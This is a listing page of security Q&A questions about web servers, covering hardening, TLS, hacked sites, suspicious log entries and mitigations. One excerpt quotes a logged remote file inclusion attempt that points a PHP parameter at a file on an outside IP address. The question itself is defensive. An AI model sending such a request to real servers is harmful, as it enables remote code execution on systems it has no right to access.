A system whose primary function is to deliver web pages on request to clients.

learn more… | top users | synonyms

2
votes
2answers
52 views

What are the security implications of STARTING a reverse proxied origin server as an unprivileged user?

A common recommendation as part of web server security is to run the server daemon as an unprivileged user (e.g.: nobody) so that exploits executing arbitrary code may have less unwanted effects. ...
2
votes
2answers
2k views

Checking if TLS 1.1 and 1.2 implementation in a webserver is upto standards

I am testing a webserver[proprietary] which offers SSL support and they say it supports TLS 1.1 and 1.2 which i have verified by firing requests from IE with only the target protocol enabled . ...
1
vote
1answer
533 views

“ScriptResource.axd” vulnerability in Windows Server 2008

I am using Windows Server 2008, Plesk 9.5, IIS 7, SQL Server 2008, and recently I have received and email claiming this server is vulnerable, and sent me the following URL: ...
7
votes
4answers
854 views

Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
8
votes
11answers
3k views

Besides IP addresses, how else could one be identified? [closed]

OP: I'm curious how else an actor seeking to identify someone online could accomplish this task besides just using an IP address. What methods would they employ? What knowledge must they have of the ...
8
votes
4answers
4k views

What are the disadvantages of Tor?

I've just started using Tor recently, and I'm not sure exactly what security issues come with the benefits. What should/shouldn't I be worried about (in both everyday normal-web browsing use, in ...
8
votes
4answers
4k views

Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
0
votes
1answer
208 views

Response to script-kiddies “scanning” website for vulnerabilities? [duplicate]

I have a website and I have email reports when 500 errors occur. Many of these errors occur because "hackers" are running scripts to look for common vulnerabilities or access to admin interfaces - ...
5
votes
2answers
219 views

Configuring election website to prevent MITM attacks

Consider an election web site that will be used for voting over the Internet. What steps should the administrator of such a web site take to provide adequate security against man-in-the-middle attacks ...
0
votes
1answer
154 views

Allow read-only access to server-side pages for security review?

This answer: http://security.stackexchange.com/a/37319/10574 Mentions the issue of host-based security. To the end user, the web server is an untrustable black box. Would it provide to needed ...
2
votes
2answers
2k views

How secure is using a blank index.html / index.php? [duplicate]

When you put a blank index.html into a given directory on a web server, web browsers will not display a file listing for that directory. But is it secure enough for other purposes other than ...
1
vote
1answer
2k views

WordPress Hacked - Found a suspicious “class-wp-style-table.php” [closed]

I recently had all of my WordPress accounts on my server hacked. The only suspicious files I found are listed below. These were the only files edited in the last 5 days (June 3, to be specific). ...
0
votes
2answers
119 views

To-dos when taking over an existing webserver [closed]

I'm taking over as a system administrator on an existing LAMP server for a site with a number of individual applications. The person I'm replacing has done a pretty good job with security as far as I ...
0
votes
2answers
401 views

Create a SSL certificate and sign it with a personal certificate which in turn is signed by a certificate authority [duplicate]

I have a personal certificate which is signed by a certificate authority. This certificate is unrestricted with respect to its allowed purposes. Is it possible to create a SSL server certificate on my ...
2
votes
2answers
168 views

PDF files on webserver file system

We create PDF files as relevant to a customer's e-mail communication. These PDF's contain some personal information, specific to the client. The client is emailed a link to the PDF. The link to the ...
6
votes
3answers
3k views

How to know if two IP addresses point to the same web server?

Doing some testing against two IP address in the scope I find one web server in each one. Both host what it seems the same web application. They are different public (accessible through Internet) IP ...
1
vote
2answers
1k views

How to allow only some specific computer systems to access website? [duplicate]

I need a process to allow only certain computer systems access to the website irrespective of the network they are using. Much like a Licensing system, I can provide a private key or something ...
8
votes
2answers
404 views

Isolating Web application hosted on same web server

I am working on a scenario if we have two or more web application hosted on a same server. Let says Web application X is vulnerable so how can i be sure that it will not effect the other web ...
1
vote
1answer
150 views

How safe is WSIT username authentication with symmetric key?

I have an ajax-ws web service (exposed via glassfish) that uses username authentication with a symmetric key to encrypt and authenticate clients(link). How secure is this mechanism? Is this enough to ...
-6
votes
1answer
160 views

Hacker problems - They stole my backups [closed]

I am facing an issue where hackers are seeking to compromise two of my servers. They succeeded in wiping out both and stealing my backups. I had off-site backups and I am back online. Nonetheless, I ...
2
votes
2answers
341 views

Can clients execute my python CGI at will?

I have a site where the main database is interacted with via python scripts located in public_html\cgi-bin\. To run commands, various JavaScript scripts, located in \public_html\scripts\, use jQuery ...
2
votes
2answers
249 views

How to protect source code that resides on virtualbox web server which starts at boot?

I installed CentOS 6 on a 3gb virtualbox disk. It hosts a web server which starts automatically when the OS boots. No user login required. When it boots, it is given an IP and the host machine can ...
-2
votes
3answers
84 views

Do Mobile Device Management solutions provide a mechanism for an internal website to know what kind of device is connecting? [closed]

Is there any mechanism in mobile device management solutions that would allow a web server (for an internal, authenticated system, e.g. SharePoint) to know that a request is coming from a mobile ...
3
votes
1answer
223 views

Has a HTTP server access to SSL session ID?

I want to know if a HTTP server (Apache, nginx etc.) can access a SSL/TLS session ID. Assume we have some hardware which does only SSL/TLS and behind a webserver which sends and receives the requests. ...
24
votes
3answers
1k views

Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
53
votes
15answers
7k views

How is “hacking” even possible if I “defend” properly?

On a Linux-based server, I follow basic practices as below: Make the admin account password long and complicated enough (i.e. theoretically speaking, password cannot be cracked within reasonable ...
1
vote
2answers
142 views

secure certain data on my webserver

I've developed a website where people add their sensitive data. Not credit cards, but lets say they share things about themselves which are private and it wouldn't be good if other people see that ...
1
vote
3answers
566 views

Implication of URL injection in an URL shortener service

EDIT There have been upvotes retracted or downvotes due to, I think, a serious misunderstanding of my question. In the following I'm not concerned about the URL leading to a site containing malware ...
4
votes
3answers
425 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
1
vote
1answer
79 views

Recognizing malicious URL attempts against your website

On serveral websites I've run, I periodically see URLs run against my servers that look like this: /url_result?ctw_=sT,een_j...tdmlydXMtc2NhbS1lb........ Does anyone recognize it? I've tried to ...
3
votes
3answers
202 views

Monitoring for security threats

I host and maintain several websites. The users pay to have their sites maintained and secured. However, with the amount of web applications like joolma, wordpress, ect... and their plugins, I need a ...
8
votes
3answers
7k views

Is it possible to execute a php script in an image file? [duplicate]

I have an image upload php website. Users can upload images to my website. A user claims he can hack my website using an uploaded image. I opened all the images that he uploaded to my server with ...
2
votes
1answer
287 views

How to do security configuration for ibm http server?

We are using IBM HTTP Server Version 7.0 Need help related to Cross Site Scripting Prevention in IBM http server. Cross Site Scripting Prevention in Sun Java System Web Server 7.0 mentioned in ...
1
vote
2answers
267 views

Statistics of attacks on unhardened Web Server

Suppose my web server is on the public internet. It's not behind firewall hardware. It does use HTTPS, and it has its OS firewall software turned on - but this is the only security mechanism in place. ...
3
votes
2answers
126 views

How could this file have been modified?

I was recently asked to help make a few modifications to an old ASP Classic website. At one point I was looking at the page source while debugging some JavaScript and noticed a div full of links to a ...
-2
votes
2answers
195 views

Automatic robot crawler to check web pages authenticity?

Our servers seem to be commonly hacked, mostly injecting malicious codes/frames to our web pages or changing downloadable files with backdoors and so on. Is there any tool that can crawl our website ...
0
votes
3answers
190 views

Odd Server Logs

I have a webapp running using Django. I recently activated some middleware which is supposed to alert me of 404's where the referrer is within my domain (supposedly indicating a 404 that is my fault). ...
3
votes
2answers
931 views

How to remember a trusted machine using two factor authentication (like Google's system)

We are developing a web application that will use two factor authentication. We are likely to try and emulate something similar to that used by google, where to login you enter a username and ...
13
votes
2answers
946 views

How to not reveal that you are using PHP?

I'm bulding a website but some webtools and browser plugins allows anyone to get information on which technologies the website has been built. Is there any Alternative to not reveal that we are ...
0
votes
3answers
159 views

If my server was compromised, is my database safe?

I have an AWS instance running a rails app that I don't actively maintain. Since I didn't keep track of what was going on with this app, I didn't update it promptly when all the rails vulnerabilities ...
-5
votes
2answers
479 views

PHP injection on 777 file [closed]

Some one has modified a PHP file, which had permissions set to 777, on my VPS server. How can someone do that without administrative access to the server? What information I can give you? I know ...
4
votes
3answers
4k views

How do you detect load balancing?

Scenario You need to PenTest XYZ.com. You expect, because it is a high traffic site, that multiple servers are being used with a load balancer. Question Aside from pulling the MACs (which are ...
3
votes
1answer
318 views

Mitigation Strategies for Response Spliting Attack

I am not going into basics of HTTP response splitting attack as above figure completing describes the working of such a attack. Previous Post have also discussed working of such a attack ASP.NET ...
-1
votes
1answer
155 views

setting up website for logged in users, anyone, and files no one should see (via the web) [closed]

I asked how to prevent not logged in users from seeing certain content but the solution I chose to implement encountered a problem. I chose to make my root directory for the server C:\WAMP\www\public ...
0
votes
2answers
316 views

Is there an easy way to secure Apache on debian?

I run an Apache webserver with lots of PHP-sites of several customers. I tried install apache-mod_security2 after this (german) tutorial that is using these rulesets: ...
2
votes
3answers
2k views

Is it possible to list folder from my web server if i have an empty index.html in the root folder?

I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory. I want to be able to share link with people i know, by creating a folder that look like ...
2
votes
1answer
806 views

How to secure or (Ensuring Integrity) of Web Data in transit and in store?

Consider (usual scenario) You own a Shopping Cart Website and hosted on Internet, now, your hosting company provides you database to store your data. If talking about security, we need it for: ...
6
votes
7answers
2k views

Server compromised for 2nd time, cannot locate source of attack

I need some help tracing a vulnerability on my server. For the second time, my server has been compromised with files being replaced with virus-ridden downloads. According to the filesystem dates, ...
1
vote
2answers
1k views

HTTPS Certificate mismatch alert before redirection

Let's analyze the following situation: A server is hosting 10 websites: site1.com - site10.com. Only one of these websites uses SSL -site1.com. If you try to access site2 - site10 over https the ...
2
votes
1answer
95 views

Quick Security Mitigations to Impending attacks

Suppose you are the sysadmin, and you know of an impending attack that just started or about to start soon. You can either wait it out, or try a few tricks and quick mitigation to fend off attackers ...